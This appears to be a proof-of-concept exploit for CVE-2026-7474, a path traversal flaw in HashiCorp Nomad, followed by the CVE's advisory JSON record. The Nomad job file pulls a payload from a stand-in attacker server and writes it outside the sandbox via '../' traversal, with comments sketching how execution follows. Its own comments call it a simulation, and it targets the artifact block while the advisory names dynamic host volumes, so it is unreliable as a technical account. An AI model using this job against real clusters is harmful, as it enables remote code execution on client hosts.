CVE-2026-7474

job "nomad_rce_poc" { datacenters = ["dc1"] type = "batch" group "exploit_group" { task "path_traversal_task" { driver = "exec" # Simulating the vulnerable dynamic host volume configuration # The vulnerability allows escaping the allocation directory via path traversal config { command = "/bin/sh" args = ["-c", "cat /tmp/pwned.txt"] } # Vulnerable artifact or volume configuration leading to path traversal # Note: Actual payload depends on the specific vulnerable parameter in Nomad < 2.0.1 artifact { source = "http://attacker-controlled-server/payload.sh" destination = "local/../../tmp/payload.sh" # Path traversal attempt } } } } /* * PoC Explanation: * 1. This Nomad job file attempts to download a payload. * 2. The 'destination' path uses '../' to traverse out of the sandbox. * 3. If successful, the file is written to /tmp/. * 4. Execution is triggered depending on the specific exploitation technique (e.g., library preloading). */

{"cve": {"id": "CVE-2026-7474", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:46.380", "lastModified": "2026-05-12T20:16:46.380", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. This vulnerability (CVE-2026-7474) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://discuss.hashicorp.com/t/hcsec-2026-15-nomad-vulnerable-to-path-traversal-in-dynamic-host-volume-which-may-lead-to-code-execution/77417", "source": "[email protected]"}]}}